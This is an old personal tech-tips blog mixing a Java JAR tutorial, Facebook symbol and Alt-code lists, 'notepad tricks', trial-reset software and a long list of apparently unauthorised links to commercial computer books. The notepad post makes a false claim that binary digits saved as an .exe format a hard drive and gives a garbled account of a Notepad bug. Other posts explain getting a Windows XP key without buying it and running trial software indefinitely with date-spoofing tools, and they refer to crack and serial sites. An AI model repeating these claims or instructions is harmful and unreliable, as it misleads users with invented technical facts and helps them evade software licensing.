Computer Tricks & Tips

2010-12-30T22:55:00.000-08:00

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2010-12-30T22:06:00.000-08:00

Make A JAR File

JAR files are Java's version of ZIP files. In fact, JAR uses the ZIP file format. There are two main uses for JAR files which I shall explain here. The first use is to compress (make a smaller size) a number of files into one file (archiving). The second use is to make a Java executable JAR file.

Compress Files To A Java Archive (JAR)
Common Examples
Compress Files To An Executable Java Archive (JAR)
Create An Executable JAR
Running An Executable JAR From Command Line
Running An Executable JAR From Explorer (Windows)
Further Resources

Compress Files To A Java Archive (JAR)

This is by far the most common use for JAR files: to compress multiple files into a single JAR archive. JAR files can be opened with WinZip or WinRar. In terms of Java applications, the ability to archive any number of source or class files into one single archive represents the biggest advantage - distributing one file containing hundreds of files is so much easier than distributing hundreds of files separately!
The jar utility program is run from the command line (DOS prompt or bash for example, depending on your OS). Here is how to create a compressed JAR file:

   jar cf archive_name.jar files

Let's look at each part of that command line.

jar

The command to run the jar utility.

CF

Create a new archive with the file name specified. These two options are from this list of common options:
- c create new archive
- t list table of contents for archive
- x extract named (or all) files from archive
- u update existing archive
- v generate verbose output on standard output
- f specify archive file name
- m include manifest information from specified manifest file
- 0 store only; use no ZIP compression
- M do not create a manifest file for the entries
- i generate index information for the specified jar files
- C change to the specified directory and include the following file
Multiple options can be used together. They all must appear after the "jar" command with no white space separating them.

archive_name.jar

Name of the JAR file. This can only be included if you use the 'f' option.

files

Names of all the files you want to put in the jar file. This could be just one name or a list of multiple names separated by space. Names can use pattern matching characters to match multiple files.

Common Examples

Let's say I have a Java application consisting of three source files that I wish to distribute:

One.java

Two.java

Three.java

I also want to call my JAR file example.jar. To make a JAR file with just One.java:

   jar CF example.jar One.java

To make a file with all three files listed separately:

   jar CF example.jar One.java Two.java Three.java

To make a file with all three files using a pattern match:

   jar CF example.jar *.java

It goes (almost) without saying that the source files are in the same directory you are running the jar command in.

Compress Files To An Executable Java Archive (JAR)

It is also possible to make an archive that can be executed (run) by Java and even by a double click through your OS, if you have it set up correctly. Of course, to do this you must store compiled class files in the archive, as well as or instead of Java source files, since Java source files cannot be run!
Continuing the example above, I now compile my Java source files:

   javac *Java

   javac One.java Two.java Three.java

Create An Executable JAR

All JAR files contain something called a manifest file which holds information Java wants to know. One piece of information a manifest file may contain is the name of a class that will be run if the JAR file is executed.
The first thing you must do is create a text file that lists the "main" class - the class that has the main method you want executed when the JAR is executed. Let's say that Three from the above example has the main method I want executed. I create a text file called "mainClass.txt" with the following text:

Main-Class: Three

IMPORTANT: the text file only needs the one line of text for this purpose. However, the file must end with a blank line or this will not work, ie the file has two lines in it - the second one is empty. Note too the class is called "Three" and not "Three.java" (the file containing the source code) or "Three.class" (the file containing the byte codes). If your class file is in a package hierarchy, you must use the fully qualified name of the class (eg "myPackage.MyClass").
I then run the jar utility with this command line:

   jar cmf mainClass.txt example.jar *.class

With this line, I told jar to create a JAR file (option c) with modifications to the manifest file (option m) as specified within mainClass.txt, naming the JAR file (option f) as example.jar and including everything that matches the pattern *Class

Running An Executable JAR From Command Line

I can run it from the command line like this:

   java -jar example.jar

Running An Executable JAR From Explorer (Windows)

Within Windows, it is also possible to set up Windows Explorer so that you can double click on the JAR file icon to execute the file (handy for GUI applications). The first thing you must do is set up the correct association with the 'javaw.exe' application that JDK for Windows will have. Click here for an older example with pictures! Open Windows Explorer and select Tools | Folder Options | File Types.
If there is no JAR file type, create it. Give it a description like

   jar - Executable Jar File

to ensure it sorts under 'jar'. Create or edit the action called "open" and associate it with the following action:

   "C:\Java\jdk1.4.0\bin\javaw.exe" -jar "%1"

Of course, you will replace "C:\Java\jdk1.4.0\bin\javaw.exe" with whatever path is correct on your machine.
IMPORTANT: include the double quotes to take care of names with spaces.
If you are using something other than Windows and you know how to set up an association in your OS, please contact me.

Further Resources

Java's Tutorial on Jar files:
http://java.sun.com/docs/books/tutorial/jar/
Roedy Green's JAR file page:
http://www.mindprod.com/jglossjar.html#JAR

2010-07-09T21:16:00.000-07:00

Windows 7 ful version

2010-07-01T01:24:00.000-07:00

Facebook Flowers Symbol:
❀ ✿ ❁ ✾

Chess black facebook symbols :

♚ ♛ ♜ ♝ ♞ ♟

Zodiac symbols for facebook

♈ – Aries (The Ram)
♉ – Taurus (The bull)
♊ – Gemini (The Twins)
♋ – Cancer (The Crab)
♌ – Leo (The Lion)
♍ – Virgo (The Virgin)
♎ – Libra (The Scales)
♏ – Scorpio (The Scorpion)
♐ – Sagittarius (Centaur The Archer)
♑ – Capricorn (Goat-horned, The sea goat)
♒ – Aquarius (The water bearer)
♓ – Pisces (The fish)

2010-07-01T01:16:00.000-07:00

♪ = Musical note
♫ = Big musical note
♥ = Black heart
☺= Smile face
☻ = Black smile face

There are two ways for use this facebook symbols.

1. Copy from here and paste in your facebook name, status or message.
2. These facebook symbols can be typed on your keyboard using the ALT button.

Desktop computer instructions for ALT facebook symbols:
• Press and hold left Alt key on your keyboard.
• While holding Alt key enter one of the codes below to get the corresponding facebook symbol.
• Important note: You need to use numbers on the right side of the keyboard for entering code, not the numbers on top, otherwise they won’t work.

Laptop instructions for ALT facebook symbols:
• Press and hold left Alt key on your keyboard.
• While holding Alt key also press and hold Fn key.
• While holding Alt and Fn key enter one of the codes below to get corresponding facebook symbol.
• Important note: You need to use numbers that are usually written next to letters U, I, O… and in different color, not the numbers on top, otherwise they won’t work.

Alt + 1 ☺
Alt + 2 ☻
Alt + 3 ♥
Alt + 4 ♦
Alt + 5 ♣
Alt + 6 ♠
Alt + 7 •
Alt + 8 ◘
Alt + 9 ○
Alt + 10 ◙
Alt + 11 ♂
Alt + 12 ♀
Alt + 13 ♪
Alt + 14 ♫
Alt + 15 ☼
Alt + 16 ►
Alt + 17 ◄
Alt + 18 ↕
Alt + 19 ‼
Alt + 20 ¶
Alt + 21 §
Alt + 22 ▬
Alt + 23 ↨
Alt + 24 ↑
Alt + 25 ↓
Alt + 26 →
Alt + 27 ←
Alt + 28 ∟
Alt + 29 ↔
Alt + 30 ▲
Alt + 31 ▼

2010-04-02T10:11:00.000-07:00

The Best Notepad Tricks for Windows
Top 10 Notepad Tricks You Have Never seen!! Amazing Notepad Tricks for Windows.

If you press F5 in notepad, it will insert current date and time in the file. I think most of us know about this notepad trick. It is also mentioned in the Edit menu of the notepad.

Notepad isn't really that bad. It is a age old app, but it's still popular because of its simplicity.
Now I am going to show some fun notepad tricks. Enjoy these cool tricks.

1. Bush Hid the Facts – Most Popular Notepad Trick

Bush may have hid the facts. But whether or not he did, this trick looks really weird. According to the trick it really seems Microsoft had put some hack into the coding of notepad making the text hidden after saving it.

Open notepad.
Type BUSH HID THE FACTS
Save that file.
Close Notepad
Open the file again (with notepad like before)
Can you read it back?
Why This Happens ?
It was later known 4335 Rule. It means that if we enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters each, and the last word has five letters. Then Notepad Automatically hides the text into unknown code. Similar are with "this app can break".

2. How To Make Matrix With NotePad

I'am going to show you how to make cool Matrix batch file using notepad.
Open notepad and type in:

@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Save it as matrix.bat

Double click on file and it will open the matrix

3. World Trade Centre Attack Trick – Shocking Notepad Trick

Did you know that the flight number of the plane that had hit WTC on 9/11 was Q33NY …

Open your Notepad
Type the flight number i.e Q33N in Capital Letters.
Increase the Font Size to 72
Change the Font to Wingdings
You will be amazed by the findings. Its a Plane going for 2 building shaped structures & then death. (see below) WTF ?

Shocking … Ya …But this is a complete hoax… because I researched myself on Wikipedia and found that None of the planes involved in the 9/11 attacks had theflight number "Q33 NY". The flight numbers of the planes that crashed into the Twin Towers were in fact "11" and "175". Clearly, someone has simply made up this supposedflight number in an attempt to make the spurious claim seem valid.

4. How to get fake error message like below

Open Notepad
Type in: msg * Error: Your system is affected by virus
Save as "virus.bat"
Now open that .bat file, now you got error message window
Its not virus, just your assumption message.

5. Test your antivirus software is active or non active

To test your antivirus in full safety, you can use the file of Eicar test. This file is detected as a virus by the antiviruses but it is not one, it does not contain any viral code. If the false virus is detected, it is that your antivirus is active and protects you.

Open Notepad
Then recopy the following character string in the Notepad:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Now save it and scan it by ur antivirus software..
If your antivirus is correctly activated, it must then alert you instantaneously presence of the Eicar virus.
Then ask your antivirus to remove the file. In my case I had installed BitDefender Anti Virus and file was recognize and removed automatically without any additional action from me.

If your antivirus does not see anything, than you have a problem. It could be because of two reasons: permanent protection is badly configured or there were some problems during antivirus installation. Then you have to read documentation of your software to correct this problem.

If the false virus is still not detected, you must then seriously think of changing anti-virus software.

6. Lock a Folder Using Notepad

Want to know how to to lock a folder using Notepad ?

Here is the trick :

Consider you want to lock a folder named PICS in your D:\ , whose path is D:\PICS
Now open the Notepad and type the following
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Where pics is your folder name. Save the text file as lock.bat in the same drive.
Open another new notepad text file and type the following
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics

Save the text file as key.bat in the same drive.

Usage :

To lock the pics folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.

7. Format HDD with Notepad

Write The Following In Notepad Exactly as it says
Code : 01001011000111110010010101010101010000011111100000

Save As it as .EXE and any Name would Do.
Make an Ethical use of it. This .exe file can be really dangerous.

8. Find Windows XP CD Key inside CD

Ever thought that the CD-Key of the Windows XP disc you were looking for was just Right Under you Nose. Lets see how easily you can get it…

To get the Windows XP CD key, you have to do the following steps.

1. Bring your Windows XP CD and insert it into your computer's CD/DVD ROM/ RAM.
2. Now, browse your Windows XP CD and find the folder I386.
3. Inside I386 folder, find the file named as unattended.txt.
4. Open unattended.txt by using notepad.
5. At last, keep scrolling of the opened file and you will get Windows XP CD key.

To me, it’s the most amazing thing of Windows XP CD. In this way, you can get the Windows XP CD key into your Windows XP CD. The people who are not wish to buy XP or the people who lost the serial key of Windows XP CD, can find theWindows XP CD key in this way.

9. Log trick

This is simple, open notepad and type .LOG

Save it as .LOG.txt
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

10. Open console box

Open Notepad and type starts like seen in picture below, but you can make as many as you would like.

Save it as start.bat . Depending on how many times you wrote start console boxes open.

Hope these tricks were useful for you.
Do you have questions, comments, or suggestions? Feel free to post a comment!

2010-04-02T09:41:00.000-07:00

Download 500 Mobile Games Pack for All Mobile Phones

Download:

Part 1 | Part 2

2010-04-02T09:38:00.000-07:00

Download The Most Popular Nokia Java Games Ever

The Best Nokia Java Games Ever

Download The Most Popular Nokia Java Games Ever

Link 1 or Link 2

2010-04-02T09:26:00.000-07:00

How to use Trial Version software forever without Expiration

Learn how to extend trial period / reset trial period of demo software and continue using them even after the expiry of the validity period.

There are a lot of sharewere softwares and games that are available for download as a trial version. But we really get annoyed when these trial versions expire after a fixed period of time and you need to enter a serial number to continue using the software. Previously i posted tutorials "How To Get Cracks and Serials to Any Program using Craagle" and "Top Sites to Find All the Serials You Need". The bad thing is that there are softwares that is hard to find a serial numbers for them, like System Mechanic or BitDefender, thats when you should use a program which is able to freeze a trial versions, so you can use your software indefinitely forever. You can tell trial version of the software to not count days or do not bother about time. The software will stay and keep working like original software forever and will not expire or cease to work.

Here is the list of my top softwares that will stop time of each trial version software:

1. Time Stopper

Time Stopper is a software which can stop a time for try out version software. When you stop the time you can use your try-out versions forever. When you stop the time of a try-out version using this Time Stopper it works via this Time Stopper. Real time and date run normally on your system. You can use any number of try-out version softwares with this software.

How it Works?

* Open Time Stopper
* Browse and select .exe of required trial software
* Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date).
* Choose any time
* Click open software on your selected date

If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.

Download Time Stopper | Size: 844 KB

2. RunAsDate

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn't change the current system date and time of your computer, but it only injects the date/time that you specify into the desired application.
You can run multiple applications simultaneously, each application works with different date and time, while the real date/time of your system continues to run normally.

How does it work ?

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you

Download RunAsDate | Size: 21.3 KB

3. Date Cracker 2000

Date Cracker 2000 is a program which removes the date protection from programs which expire after a specific date. It is most useful for shareware or trial versions of software. Note that this program should be used for educational purposes only. Another interesting software developed allows you to remove passwords from MS Access '95 or '97 MDB files.

Software like Date Cracker 2000 helps two kinds of people.

Software Users...........
Software Developers...

Software Users are benefited by a great extent because they can use a shareware or trial version of a software indefinitely. This means that most software which expire after a certain date can be used well after that date (almost indefinitely). The key is to run the software via Date Cracker 2000 when you get a demo / trial version of any software.

Software Developers should be aware of such programs (trust me, they are!). They must devise better algorithms so that their software will be protected better. But the fact is, most software developers do not mind their software (Trial versions/ Demo's) being run by such programs....while some developers cannot do anything about their software after releasing it. But they can ensure that later versions of their software should have better date protection. Of course, there will be always be a newer version of Date Cracker 2000.

How it Works?

* Start by opening Date Cracker
* Click Add
* Enter the description for your program
* Click the [...] button at the bottom of the screen
* Search for the executable file of the trial program
* Set the Simulated Run Date past the trial expiration date
* Click Run

That’s it, you’re now on your way to using your favorite trials hassle free.

A Few Tips:

The key is to run the software via Date Cracker when you run a trial for the first time.
Dates should be entered in full e.g. 2090/06/30

Download Date Cracker 2000 | Size: 1.5 MB

Do you have questions, comments, or suggestions? Feel free to post a comment!

from: www.computerzone2010.blogspot.com

2010-04-02T08:56:00.003-07:00

There are 250 websites to teach you online.........

10 minute guide to lotus notes mail 4.5

http://www.parsian.net/set1252/pages/books.htm

10 minute guide to Microsoft exchange 5.0

http://www.parsian.net/set1252/pages/books.htm

10 minute guide to outlook 97

http://www.parsian.net/set1252/pages/books.htm

10 minute guide to schedule+ for windows 95

http://www.parsian.net/set1252/pages/books.htm

ActiveX programming unleashed

http://www.parsian.net/set1252/pages/books.htm

ActiveX programming unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Advanced perl programming

http://www.hk8.org/old_web/

Advanced PL/SQL programming with packages

http://www.hk8.org/old_web/

Adventure in Prolog/AMZI

www.oopweb.com

Algorithms CMSC251/Mount, David

www.oopweb.com

Alison Balter's Mastering Access 95 development, premier ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Apache : The definitive guide, 3rd.ed.

http://www.hk8.org/old_web/

Beej's guide to network programming/Hall, Brain

www.oopweb.com

Beyond Linux from Scratch/BLFS Development Team

http://book.onairweb.net/computer/os/linux/Administration/Beyond_Linux_From_Scratch/

Borland C++ builder unleashed

http://www.parsian.net/set1252/pages/books.htm

Building an intranet with windows NT 4

http://www.parsian.net/set1252/pages/books.htm

Building an Intranet with Windows NT 4

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Building expert systems in prolog/AMZI

www.oopweb.com

C programming language

http://book.onairweb.net/computer/pl/C/The_C_Programming_Language_by_K&R/

C Programming/Holmes, Steven

www.oopweb.com

C++ Annotations

www.oopweb.com

CGI developer's guide

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

CGI manual of style

http://www.parsian.net/set1252/pages/books.htm

CGI manual of style online

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CGI programming

http://www.hk8.org/old_web/

CGI programming unleashed

http://www.parsian.net/set1252/pages/books.htm

CGI programming with Perl, 2nd.ed.

http://www.hk8.org/old_web/

Charlie Calvert's Borland C++ builder unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Client/server computing, 2nd.ed.

http://www.parsian.net/set1252/pages/books.htm

Client-server computing, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Common LISP, the language/Steele, Guy

www.oopweb.com

Compilers and compiler generators : an introduction with C++/Terry, P.D.

www.oopweb.com

Complete idiot's guide to creating HTML webpage

http://www.parsian.net/set1252/pages/books.htm

Computer graphics CMSC 427/Mount, David

www.oopweb.com

Configuring and troubleshooting the windows NT/95 registry

http://www.parsian.net/set1252/pages/books.htm

Creating commercial websites

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Creating web applets with Java

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Crystal Reports.NET

http://www.crystalreportsbook.com/Chapters.asp

Curious about the internet

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Curious about the internet?

http://www.parsian.net/set1252/pages/books.htm

Dan appleman's developing activeX components with Visual Basic 5

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Dan appleman's developing activex components with Visual Basic 5.0

http://www.parsian.net/set1252/pages/books.htm

Data structures CMSC420/Mount, David

www.oopweb.com

Database developer's guide with visual basic 4, 2nd.ed.

http://www.parsian.net/set1252/pages/books.htm

Database developer's guide with Visual Basic 4, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Database developer's guide with Visual C++ 4, 2nd.ed.

http://www.parsian.net/set1252/pages/books.htm

Database developer's guide with Visual C++ 4, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Design and analysis of computer algorithms CMSC451/Mount, David

www.oopweb.com

Designing implementing Microsoft internet information server

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Designing implementing Microsoft proxy server

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Developing for netscape one

http://www.parsian.net/set1252/pages/books.htm

Developing intranet applications with java

http://www.parsian.net/set1252/pages/books.htm

Developing personal oracle 7 for windows 95 applications

http://www.parsian.net/set1252/pages/books.htm

Developing personal Oracle 7 for windows 95 applications

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Developing professional java applets

http://www.parsian.net/set1252/pages/books.htm

Developing professional java applets

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

DNS and BIND

http://www.hk8.org/old_web/

Doing objects with VB.NET and C#

http://vbwire.com/nl?6814

EAI/BPM Evaluation Series: IBM WebSphere MQ Workflow v3.3.2 & EAI Suite by

> Middleware Technology Evaluation Series, Phong Tran & Jeffrey Gosper

http://www.cmis.csiro.au/mte/reports/BPM_IBMwebsphereMQ332.htm

Effective AWK programming

http://book.onairweb.net/computer/os/shell/Effective_AWK_Programming/

Enterprise javabeans, 2nd.ed.

http://www.hk8.org/old_web/

Exploring java

http://www.hk8.org/old_web/

GNOME/Sheets, John

www.oopweb.com

Graph theory/Prof. Even

www.oopweb.com

Hacking java

http://www.parsian.net/set1252/pages/books.htm

How intranets work

http://www.parsian.net/set1252/pages/books.htm

How intranets work

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

How to program visual basic 5.0

http://www.parsian.net/set1252/pages/books.htm

How to use HTML 3.2

http://www.parsian.net/set1252/pages/books.htm

Html : The definitive guide

http://www.hk8.org/old_web/

HTML 3.2 & CGI unleashed

http://www.parsian.net/set1252/pages/books.htm

HTML 3.2 and CGI professional reference edition unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

HTML by example

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Internet firewall

http://www.hk8.org/old_web/

Intranets unleashed

http://www.parsian.net/set1252/pages/books.htm

Introduction to object-oriented programming using C++/Muller, Peter

www.oopweb.com

Introduction to programming using Java/Eck, David

www.oopweb.com

Introduction to socket programming

http://book.onairweb.net/computer/network/An_Introduction_to_Socket_Programming/

Java 1.1 unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Java 1.1 unleashed, 2nd.ed.

http://www.parsian.net/set1252/pages/books.htm

Java 1.1 unleashed, 3rd.ed.

http://www.parsian.net/set1252/pages/books.htm

Java 114 documentation

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Java AWT reference

http://www.hk8.org/old_web/

Java by example

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Java developer's guide

http://www.parsian.net/set1252/pages/books.htm

Java developer's guide

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Java developer's reference

http://www.parsian.net/set1252/pages/books.htm

Java developer's reference

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

Java Distributed computing

http://www.hk8.org/old_web/

Java enterprise

http://www.hk8.org/old_web/

Java enterprise in a nutshell

http://www.hk8.org/old_web/

Java foundation classes in a nutshell

http://www.hk8.org/old_web/

Java fundamental classes reference

http://www.hk8.org/old_web/

Java in a nutshell

http://www.hk8.org/old_web/

Java in a nutshell, 3rd.ed.

http://www.hk8.org/old_web/

Java language reference

http://www.hk8.org/old_web/

Java security

http://www.hk8.org/old_web/

Java servlet programming

http://www.hk8.org/old_web/

Java unleashed

http://www.parsian.net/set1252/pages/books.htm

100

Java unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

101

Java, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

102

JavaScript : the definitive guide

http://www.hk8.org/old_web/

103

Javascript manual of style

http://www.parsian.net/set1252/pages/books.htm

104

Javascript manual of style

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

105

Josh's GNU Linux Guide/Joshua

http://book.onairweb.net/computer/os/linux/Administration/Josh's_GNU_Linux_Guide/

106

Late night activex

http://www.parsian.net/set1252/pages/books.htm

107

Late night activeX

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

108

Laura lemay's 3D graphics in and VRML 2

http://www.parsian.net/set1252/pages/books.htm

109

Laura lemay's activex and _VBScript

http://www.parsian.net/set1252/pages/books.htm

110

Laura lemay's graphics and web page design

http://www.parsian.net/set1252/pages/books.htm

111

Laura lemay's guide to sizzling websites design

http://www.parsian.net/set1252/pages/books.htm

112

Laura lemay's _javascript 1.1

http://www.parsian.net/set1252/pages/books.htm

113

Laura lemay's web workshop activex and _VBScript

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

114

Laura lemay's web workshop Graphics web page design

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

115

Laura lemay's web workshop _javascript

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

116

Learning perl

http://www.hk8.org/old_web/

117

Learning perl on win32

http://www.hk8.org/old_web/

118

Learning the kornshell

http://www.hk8.org/old_web/

119

Learning unix

http://www.hk8.org/old_web/

120

Learning vi

http://www.hk8.org/old_web/

121

Linux from Scratch/Beekmans, Gerard

http://book.onairweb.net/computer/os/linux/Administration/Linux_From_Scratch/

122

Linux in a nutshell, 3rd.ed.

http://www.hk8.org/old_web/

123

Linux kernel/Rusling, David

www.oopweb.com

124

Linux network administrator's guide/Dawson, Terry

www.oopweb.com

125

Linux system administrator's survival guide

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

126

MAPI, SAPI and TAPI developer's guide

http://www.parsian.net/set1252/pages/books.htm

127

Mastering access 95 development

http://www.parsian.net/set1252/pages/books.htm

128

Microsoft access 97 quick reference

http://www.parsian.net/set1252/pages/books.htm

129

Microsoft access 97 quick reference

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

130

Microsoft backoffice 2 unleashed

http://www.parsian.net/set1252/pages/books.htm

131

Microsoft excel 97 quick reference

http://www.parsian.net/set1252/pages/books.htm

132

Microsoft excel 97 quick reference

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

133

Microsoft exchange server survival guide

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

134

Microsoft frontpage unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

135

Microsoft word 97 quick reference

http://www.parsian.net/set1252/pages/books.htm

136

Microsoft word 97 quick reference

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

137

Microsoft works 4.5 6-In-1

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

138

More than 100 full-text e-books

http://www.allfreetech.com/EBookCategory.asp

139

Ms backoffice administrator's survival guide

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

140

Ms backoffice unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

141

Mysql and msql

http://www.hk8.org/old_web/

142

Netscape plug-ins developer's kit

http://www.parsian.net/set1252/pages/books.htm

143

Official gamelan java directory

http://www.parsian.net/set1252/pages/books.htm

144

Oracle built-in packages

http://www.hk8.org/old_web/

145

Oracle PL/SQL built-in pocket reference

http://www.hk8.org/old_web/

146

Oracle PL/SQL language pocket reference

http://www.hk8.org/old_web/

147

Oracle PL/SQL programming guide to Oracle 8 features

http://www.hk8.org/old_web/

148

Oracle PL/SQL programming, 2nd.ed.

http://www.hk8.org/old_web/

149

Oracle unleashed

http://www.parsian.net/set1252/pages/books.htm

150

Oracle unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

151

Oracle web applications PL/SQL developer's introduction

http://www.hk8.org/old_web/

152

Patterns of enterprise application architecture/Fowler, Martin

http://www.awprofessional.com/catalog/product.asp?product_id={574D77DF-6ED2-BC5-A6A8-02E59CA7482D}

153

PC week : the intranet advantage

http://www.parsian.net/set1252/pages/books.htm

154

Perl 5 by example

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

155

Perl 5 quick reference

http://www.parsian.net/set1252/pages/books.htm

156

Perl 5 unleashed

http://www.parsian.net/set1252/pages/books.htm

157

Perl 5.0 CGI web pages

http://www.parsian.net/set1252/pages/books.htm

158

Perl cookbook

http://www.hk8.org/old_web/

159

Perl for system administration

http://www.hk8.org/old_web/

160

Perl in a nutshell

http://www.hk8.org/old_web/

161

Perl quick reference

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

162

Peter norton's complete guide to windows NT 4 workstations

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

163

Presenting activex

http://www.parsian.net/set1252/pages/books.htm

164

Presenting activex

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

165

Presenting javabeans

http://www.parsian.net/set1252/pages/books.htm

166

Presenting javabeans

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

167

Programming perl

http://www.hk8.org/old_web/

168

Programming perl, 3rd.ed.

http://www.hk8.org/old_web/

169

Programming the Perl DBI

http://www.hk8.org/old_web/

170

Red hat linux unleashed

http://www.parsian.net/set1252/pages/books.htm

171

Running a perfect intranet

http://www.parsian.net/set1252/pages/books.htm

172

Running Linux, 3rd.ed.

http://www.hk8.org/old_web/

173

Sams teach yourself java 1.1 in 24 hours/

http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_1.1_Programming_in_24_Hours

174

Sams Teach yourself java in 21 days/Lemay, Laura

http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_in_21_Days/

175

Sams teach yourself linux in 24 hours/Ball, Bill

http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Linux_in_24%20Hours/

176

Sams teach yourself shell programming in 24 hours

http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Shell_Programming_in_24_Hours/

177

Sams teach yourself TCP/IP in 14 days

http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_TCP-IP_in_14_Days(SE)/

178

Sed and awk

http://www.hk8.org/old_web/

179

Sendmail

http://www.hk8.org/old_web/

180

Sendmail desktop reference

http://www.hk8.org/old_web/

181

Slackware linux unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

182

Special edition using java, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

183

Special edition using _javascript

http://www.parsian.net/set1252/pages/books.htm

184

Special edition using _javascript

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

185

Special edition using _Jscript

http://www.parsian.net/set1252/pages/books.htm

186

Special edition using lotus notes and domino 4.5

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

187

Special edition using Microsoft SQL server 6.5, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

188

Special edition using Microsoft visual Interdev

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

189

Special edition using perl 5 for web programming

http://www.parsian.net/set1252/pages/books.htm

190

Special edition using perl for web programming

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

191

Special edition using Visual Basic 4

http://www.parsian.net/set1252/pages/books.htm

192

TCP/IP

http://www.hk8.org/old_web/

193

Teach yourself activex programming in 21 days

http://www.parsian.net/set1252/pages/books.htm

194

Teach yourself C++ in 21 days

http://www.parsian.net/set1252/pages/books.htm

195

Teach yourself C++ in 21 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

196

Teach yourself CGI programming with Perl 5 in a week

http://www.parsian.net/set1252/pages/books.htm

197

Teach yourself database programming with VB5 in 21 days, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

198

Teach yourself database programming with visual basic 5 in 21 days

http://www.parsian.net/set1252/pages/books.htm

199

Teach yourself HTML 3.2 in 24 hours

http://www.parsian.net/set1252/pages/books.htm

200

Teach yourself HTML 3.2 in 24 hours

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

201

Teach yourself internet game programming with java in 21 days

http://www.parsian.net/set1252/pages/books.htm

202

Teach yourself java 1.1 programming in 24 hours

http://www.parsian.net/set1252/pages/books.htm

203

Teach yourself jave in café in 21 days

http://www.parsian.net/set1252/pages/books.tm

204

Teach yourself Microsoft visual Interdev in 21 days

http://www.parsian.net/set1252/pages/books.htm

205

Teach yourself Microsoft visual Interdev in 21 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

206

